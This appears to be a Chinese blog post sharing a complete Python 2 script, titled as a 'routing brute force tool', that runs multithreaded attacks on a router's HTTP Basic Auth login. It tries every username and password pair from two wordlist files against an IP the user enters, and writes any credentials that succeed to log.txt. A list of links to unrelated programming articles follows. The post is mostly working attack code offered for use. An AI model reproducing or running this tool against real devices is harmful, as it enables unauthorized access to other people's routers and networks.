python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
Python通过解析网页实现看报程序的方法
Aug 04 Python
python基础教程之基本数据类型和变量声明介绍
Aug 29 Python
Python进行数据科学工作的简单入门教程
Apr 01 Python
Python基于QRCode实现生成二维码的方法【下载,安装,调用等】
Jul 11 Python
Python实现爬取百度贴吧帖子所有楼层图片的爬虫示例
Apr 26 Python
python判断一个数是否能被另一个整数整除的实例
Dec 12 Python
django配置连接数据库及原生sql语句的使用方法
Mar 03 Python
NumPy 数组使用大全
Apr 25 Python
Python常驻任务实现接收外界参数代码解析
Jul 21 Python
Python 发送邮件方法总结
Aug 10 Python
使用python tkinter开发一个爬取B站直播弹幕工具的实现代码
Feb 07 Python
基于Python实现将列表数据生成折线图
Mar 23 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
PHP 根据IP地址控制访问的代码
2010/04/22 PHP
thinkphp如何获取客户端IP
2015/11/03 PHP
PHP页面输出时js设置input框的选中值
2016/09/30 PHP
PHP简单实现解析xml为数组的方法
2018/05/02 PHP
cssQuery()的下载与使用方法
2007/01/12 Javascript
得到文本框选中的文字,动态插入文字的js代码
2007/03/07 Javascript
原生javascript获取元素样式属性值的方法
2010/12/25 Javascript
js的for in循环和java里foreach循环的区别分析
2015/01/28 Javascript
jquery制作多功能轮播图插件
2015/04/02 Javascript
JavaScript学习笔记整理之引用类型
2016/01/22 Javascript
js判断鼠标位置是否在某个div中的方法
2016/02/26 Javascript
JavaScript中点击事件的写法
2016/06/28 Javascript
jQuery删除节点用法示例(remove方法)
2016/09/08 Javascript
js实现随机抽选效果、随机抽选红色球效果
2017/01/13 Javascript
js实现QQ面板拖拽效果(慕课网DOM事件探秘)(全)
2017/09/19 Javascript
vue axios整合使用全攻略
2018/05/24 Javascript
个人小程序接入支付解决方案
2019/05/23 Javascript
详解vue 组件
2020/06/11 Javascript
[01:03:18]DOTA2-DPC中国联赛 正赛 RNG vs Dynasty BO3 第一场 1月29日
2021/03/11 DOTA
Python3.x版本中新的字符串格式化方法
2015/04/24 Python
Python中列表元素转为数字的方法分析
2016/06/14 Python
在python中使用正则表达式查找可嵌套字符串组
2017/10/24 Python
深入了解Django View(视图系统)
2019/07/23 Python
用sqlalchemy构建Django连接池的实例
2019/08/29 Python
手动安装python3.6的操作过程详解
2020/01/13 Python
Python selenium页面加载慢超时的解决方案
2020/03/18 Python
基于django 的orm中非主键自增的实现方式
2020/05/18 Python
很酷的HTML5电子书翻页动画特效
2016/02/25 HTML / CSS
Lookfantastic日本官网:英国知名护肤、化妆品和头发护理购物网站
2018/04/21 全球购物
中英文求职信范文
2014/01/27 职场文书
优秀班集体获奖感言
2014/02/03 职场文书
《台湾的蝴蝶谷》教学反思
2014/02/20 职场文书
大学生支教感言
2015/08/01 职场文书
商业计划书格式、范文
2019/03/21 职场文书
零基础学java之带参数以及返回值的方法
2022/04/10 Java/Android
Redis如何实现验证码发送 以及限制每日发送次数
2022/04/18 Redis